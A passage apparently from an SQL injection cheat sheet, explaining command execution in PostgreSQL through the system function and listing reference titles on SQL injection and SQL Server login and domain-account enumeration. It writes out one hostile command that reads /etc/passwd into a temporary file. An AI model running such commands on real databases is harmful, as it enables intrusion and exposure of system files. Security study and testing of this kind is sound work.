Uses the system function and results don’t echo to the screen like MSSQL. The commands are run with the privileges PostGRES is running with. To exec:
SELECT system('cat /etc/passwd > /tmp/results.txt');
Reference Links
SQL Injection Cheat Sheet
SQL Injection Cheat Sheet | Invicti
MSSQL Union-based Injection
Full MSSQL Injection Pwnage
Enumerating SQL Server Logins
Hacking SQL Server Procedures – Part 4: Enumerating Domain Accounts